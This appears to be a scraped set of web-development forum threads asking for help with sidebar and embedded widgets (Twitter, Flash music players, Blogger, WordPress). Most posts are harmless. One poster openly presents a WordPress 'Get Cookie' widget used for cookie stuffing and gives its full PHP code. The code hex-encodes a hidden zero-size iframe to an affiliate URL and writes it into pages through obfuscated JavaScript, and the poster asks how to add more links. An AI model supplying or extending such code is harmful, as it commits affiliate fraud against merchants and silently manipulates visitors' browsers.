HTML - Boingboing Sidebar Widget Code Help

First of all hope this is the right forum. I need to know how to wrap text so it flows around this twitter widget that I would like to place on my site in the center of page

http://knowingabout.co.uk/bestinhulme/index.html. I have tried the usual way for an image but it doesnt seem to work.
Below is a image and below that the actual code.



<div id="twtr-search-widget"></div>
<script src="http://widgets.twimg.com/j/1/widget.js"></script>
<link href="http://widgets.twimg.com/j/1/widget.css" type="text/css" rel="stylesheet">
<script>
new TWTR.Widget({
search: 'Manchester',
id: 'twtr-search-widget',
loop: true,
title: 'Who\'s tweeting about...',
subject: 'Manchester',
width: 250,
height: 280,
theme: {
shell: {
background: '#887640',
color: '#ffffff'
},
tweets: {
background: '#f3d2a5',
color: '#444444',
links: '#1985b5'
}
}
}).render().start();
</script>

Thx in advance

I have a wordpress widget I have been using. It is for Cookie Stuffing and allows you to add an affiliate link into a input field, the only problem is that you can only add one link. Does anyone know how to add another text field? Heres the code:

Code:

// We're putting the plugin's functions in one big function we then
// call at 'plugins_loaded' (add_action() at bottom) to ensure the
// required Sidebar Widget functions are available.
function widget_getcookie_init() {

    // Check to see required Widget API functions are defined...
    if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') )
        return; // ...and if not, exit gracefully from the script.

    // This function prints the sidebar widget--the cool stuff!
    function widget_getcookie($args) {

        // $args is an array of strings which help your widget
        // conform to the active theme: before_widget, before_title,
        // after_widget, and after_title are the array keys.
        extract($args);

        // Collect our widget's options, or define their defaults.
        $options = get_option('widget_getcookie');
        //$title = empty($options['title']) ? 'My Widget' : $options['title'];
        $text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text'];

         // It's important to use the $before_widget, $before_title,
         // $after_title and $after_widget variables in your output.
        echo $before_widget;
      //  echo $before_title . $title . $after_title;
        
// this where to put output  
$string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>";
$hex_string = bin2hex($string);
$code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>";
echo $code;
// end output
        echo $after_widget;
    }

    // This is the function that outputs the form to let users edit
    // the widget's title and so on. It's an optional feature, but
    // we'll use it because we can!
    function widget_getcookie_control() {

        // Collect our widget's options.
        $options = $newoptions = get_option('widget_getcookie');

        // This is for handing the control form submission.
        if ( $_POST['getcookie-submit'] ) {
            // Clean up control form submission options
            $newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title']));
            $newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url']));


        }

        // If original widget options do not match control form
        // submission options, update them.
        if ( $options != $newoptions ) {
            $options = $newoptions;
            update_option('widget_getcookie', $options);
        }

        // Format options as valid HTML. Hey, why not.
        $title = htmlspecialchars($options['title'], ENT_QUOTES);
        $text = htmlspecialchars($options['text'], ENT_QUOTES);

// The HTML below is the control form for editing options.
?>
        <div>
    <!--    <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
        <p>Make sure you use http:// in your url!</p>
        <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
        <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
        </div>
    <?php
    // end of widget_getcookie_control()
    }

    // This registers the widget. About time.
    register_sidebar_widget('Get Cookie', 'widget_getcookie');

    // This registers the (optional!) widget control form.
    register_widget_control('Get Cookie', 'widget_getcookie_control');
}

// Delays plugin execution until Dynamic Sidebar has loaded first.
add_action('plugins_loaded', 'widget_getcookie_init');
?>

I believe this is where I need to be looking...

Code:

// The HTML below is the control form for editing options.
?>
        <div>
    <!--    <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
        <p>Make sure you use http:// in your url!</p>
        <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
        <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
        </div>
    <?php
    // end of widget_getcookie_control()
    }

I would be very greatful if anyone could help me out.

I'm wondering if anyone know any good RSS Widgets that I can integrate into my website. All the ones I've come across usually just display 3 or 4 and then loop back to the beginning.

Anything out there that's really good?

I have a song widget HTML and this widget keeps loading at every page. I want it to load just once and then just remain there for each page. Don't want it to reload on each page but cannot figure it out.
Here is the coding
<embed type="application/x-shockwave-flash" src="http://cache.reverbnation.com/widgets/swf/40/pro_widget.swf" bgcolor="#ffffff" loop="false" wmode="transparent" quality="best" allowscriptaccess="always" allownetworking="all" allowfullscreen="true" seamlesstabbing="true" flashvars="id=artist_884037&posted_by=artist_884037&skin_id=PWAS1008&font_color=333333&auto_play=tru e&shuffle=true" width="262" align="top" height="200"><br><img style="visibility: hidden; width: 0px; height: 0px;" src="http://www.reverbnation.com/widgets/trk/40/artist_884037/artist_884037/t.gif" width="0" border="0" height="0"><img src="http://a.triggit.com/px?u=reverbnation&rtv=884037wd,Folk,Electronica%2FPolitical,New%20Age" width="1" border="0" height="1">
I am practicing on a test website. You can see it at the site as well
http://childsplay.storesecured.com
Is there a way to keep it from reloading on each page and just load once ?

Hi. I've been trying and failing at wrapping text around a mixpod playlist widget. [The widget is in a draft post I'm working on in a blog, not installed as a sidebar gadget.] I'm not technical, and the widget is "flash" technology which befuddles me even further. Fiddling with <div> and "align" codes, I was able to type in text next to the widget, but only in the editor page of Blogger...once I previewed or published it, the text appeared below the widget.

I would very much appreciate anyone's ideas. The widget code is:

<embed border="0" flashvars="mycolor=5C1400&amp;mycolor2=baac8f&amp;mycolor3=450101&amp;autoplay=false&amp;rand=0&amp; f=4&amp;vol=100&amp;pat=0&amp;grad=false" height="382" name="myflashfetish" pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" salign="TL" src="http://assets.mixpod.com/swf/mp3/mff-nano.swf?myid=76126179&amp;path=2011/01/26" style="height: 382px; visibility: visible; width: 165px;" type="application/x-shockwave-flash" width="165" wmode="transparent"></embed>

Thank you.

Hi, I'd really like to put an MP3 player on my website to play music mixes, but I'd like it so that even if someone goes to another part of the site, the music keeps on playing,

Like Reverbnation have...

http://www.reverbnation.com/

Can I take the code from their site or do I need to start from scratch? Given that Reverbnation supply the widget to put your music in, I'd just need the ability to have it keep playing even when someone links to another part of the site.

Thanks!

Trying to install a JQuery slider in my site. When I try to install it in Dreamweaver using the widget browser I get a error (picture attached)
I am a noob and just dabbeling a little bit but any help would be greatly appreciated. I opted to use this slider because it it clickable and linkable but if there was a better way to do it I would be up for suggestions. I opted to use the Flexslider in the Dreamweaver widgets. But this code error has something to do with the inner workings of DW. All the other widgets I have installed on this site work fine.

Thanks in advance.

I am having trouble with a link in a widget on my blogger blog. The widget is titled "NQTC Followers" The words "Follow This Blog" leads to a blank screen. The link is "javascript:_FollowersView._openPopup("http://www.blogger.com/follow-blog.g?blogID=7259025587922523478");" When I click that its just blank, so I jsut want it to link to "http://www.blogger.com/follow-blog.g?blogID=7259025587922523478". I can't seem to figure out how to edit the HTML though to change the link from the first thing to the second thing. Here is what the HTML shows for this widget:
Code:

<b:widget id='Followers1' locked='false' title='NQTC Followers' type='Followers'>
<b:includable id='main'>
  <b:if cond='data:title != &quot;&quot;'>
    <b:if cond='data:codeSnippet != &quot;&quot;'>
      <h2 class='title'><data:title/></h2>
    <b:else/>
      <h2 class='title'><data:title/> (<data:totalFollowerCount/>)</h2>
    </b:if>  
  </b:if>

  <div expr:id='data:widget.instanceId + &quot;-wrapper&quot;'>
    <b:if cond='data:codeSnippet != &quot;&quot;'>
      <data:codeSnippet/>
    <b:else/>

      <b:if cond='data:followingLinkPresent'>
        <div class='follow-this profile-link item-control following-follow-this'>
          <a expr:href='&quot;javascript:_FollowersView._openPopup(\&quot;&quot; + data:followUri + &quot;\&quot;);&quot;'>
            <data:followThisMessage/>
          </a>
        </div>
        <div class='follow-this profile-link item-control following-stop-following-this'>
          <a expr:href='&quot;javascript:_FollowersView._openPopup(\&quot;&quot; + data:followUri + &quot;\&quot;);&quot;'>
            <data:stopFollowingMessage/>
          </a>
        </div>
      </b:if>

      <div class='followers-grid'>
        <b:if cond='data:totalFollowerCount == 0'>
          <div class='profile-link item-control following-follow-this'>
            <data:emptyFollowersMessage/>
          </div>
        </b:if>
        <!--
        Relies on the js written out in navbar.gxp
        -->
        <b:loop values='data:followers' var='follower'>
          <div class='follower'>
            <a expr:href='data:follower.profileUrl' expr:title='data:follower.displayName' rel='nofollow'>
            <img class='follower-img' expr:alt='data:follower.displayName' expr:height='data:follower.imageHeight' expr:onerror='&quot;this.onerror=null;this.src=\&quot;&quot; + data:anonFollowerImageUrl + &quot;\&quot;;&quot;' expr:onload='&quot;setAttributeOnload(this, \&quot;src\&quot;, \&quot;&quot; + data:follower.imageUrl + &quot;\&quot;)&quot;' expr:width='data:follower.imageWidth' src='http://img1.blogblog.com/img/blank.gif'/>
            </a>
          </div>
        </b:loop>
        <div class='clear'/>
      </div>

      <div class='followers-canvas profile-link'>
        <data:followersFooterMessage/>
        <span class='item-control following-not-admin'>
          <a expr:href='data:followersUri'>
            <data:viewAllMessage/>
          </a>
        </span>
        <span class='item-control blog-admin'>
          <a expr:href='data:manageFollowersUri'>
            <data:manageFollowersMessage/>
          </a>
        </span>
      </div>
    </b:if>
    <b:include name='quickedit'/>
  </div>
</b:includable>
</b:widget>

Basically I want to put this page "http://3d-story.com/Old-Afgan.html" into a 3rd party widget.
When I place this 3rd party widget on my page I can scale the widget frame to any size I want, but the page within it doesn't scale. Looks like this "http://www.wix.com/mettam/test"

What code do I need to put into my HTML code so that it will scale to the frame of the widget ?

Here is an example of my code with in the widget.

Code:

<html>
<head>
<title>Old Afgan</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<!-- ImageReady Preload Script (Old Afgan.jpg) -->
<script type="text/javascript">
<!--

function newImage(arg) {
	if (document.images) {
		rslt = new Image();
		rslt.src = arg;
		return rslt;
	}
}

function changeImages() {
	if (document.images && (preloadFlag == true)) {
		for (var i=0; i<changeImages.arguments.length; i+=2) {
			document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
		}
	}
}

var preloadFlag = false;
function preloadImages() {
	if (document.images) {
		Old_Afgan_03_over = newImage("images/Old-Afgan_03-over.gif");
		preloadFlag = true;
	}
}

// -->
</script>
<!-- End Preload Script -->
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="preloadImages();">
<!-- ImageReady Slices (Old Afgan.jpg) -->
<table id="Table_01" width="977" height="695" border="0" cellpadding="0" cellspacing="0">
	<tr>
		<td colspan="3">

			<img src="http://3d-story.com/images/Old-Afgan_01.gif" width="977" height="82" alt=""></td>
	</tr>
	<tr>
		<td rowspan="2">
			<img src="http://3d-story.com/images/Old-Afgan_02.gif" width="190" height="613" alt=""></td>
		<td>
			<a href="#"
				onmouseover="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03-over.gif'); return true;"
				onmouseout="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03.gif'); return true;"
				onmousedown="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03-over.gif'); return true;"
				onmouseup="changeImages('Old_Afgan_03', 'http://3d-story.com/images/Old-Afgan_03-over.gif'); return true;">
				<img name="Old_Afgan_03" src="images/Old-Afgan_03.gif" width="497" height="251" border="0" alt=""></a></td>
		<td rowspan="2">

			<img src="http://3d-story.com/images/Old-Afgan_04.gif" width="290" height="613" alt=""></td>
	</tr>
	<tr>
		<td>
			<img src="http://3d-story.com/images/Old-Afgan_05.gif" width="497" height="362" alt=""></td>
	</tr>
</table>
<!-- End ImageReady Slices -->
</body>
</html>

Hi guys,

I need a little help with something thats seems pretty easy but for some reason i can't get it to work.

this is my website: www.theblindtaste.com

what i would like to do is to reverse the order of the posts shown on the sidebar_left.php. as it is i feel it is a little repetitive since 2 of the same posts are featured in the middle of the page.

this is the sidebar_left.php code:
-------------------------------------------------------------------------
<!-- begin r_sidebar -->

<div id="sidebar_left">

<h4 class="featuredtitle"><?php echo cat_id_to_name(ot_option('hp_side_cat')); ?></h4>

<?php $recent = new WP_Query("cat=" .ot_option('hp_side_cat'). "&showposts=" .ot_option('hp_side_num') ); while($recent->have_posts()) : $recent->the_post();?>


<div class="sidecontent">

<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail( 'home-side' ); ?></a>
<h4><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h4>
<?php the_content_limit(50, ""); ?>
<a class="morelink" href="<?php the_permalink() ?>" rel="bookmark"><?php _e("Read More", 'organicthemes'); ?></a>
<div class="clear"></div>

</div>

<?php endwhile; ?>

<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('Left Sidebar') ) : ?>
<div class="widget">
<h4>Widget Area</h4>
<p>This section is widgetized. To add widgets here, go to the <a href="<?php echo admin_url(); ?>widgets.php">Widgets</a> panel in your WordPress admin, and add the widgets you would like to <strong>Left Sidebar</strong>.</p>
<p><small>*This message will be overwritten after widgets have been added</small></p>
</div>
<?php endif; ?>

------------------------------------------------

thank you for your help !

tbt

at least10

Hi

I want several features on my homepage to repeated throughout the website on every page, such as the sidebar, the logo etc.

In Dreamweaver, i can link the homepage logo to another page but it won't let me link it to more than one. Is there a command or piece of code that will link each feature to all the pages on the website?

Thanks in advance

Ox

http://tinypic.com/r/1t4igj/5

How can I make a floating social media sidebar like this one?

Hello im new as you can see

In Firefox this website "http://gregg.hostzi.com/" (Friends death metal band, has swearing in it)

The alignment of the news bar is in the correct position. This is what i want it to look like.

When people surf in Internet Explore they get the sidebar all messed up as you can see.

My question is how do i align back up? so looks like what it is in Firefox.

I hope i have explained what is needed, please ask if you need any further information.

Thanks alot.

Hi,


I got this template, ( see picture below)

Could someone help me to get rid of the side bar on the left but everything else should be as it is.

I've attached the index.html as well as the style.css file.


Thank you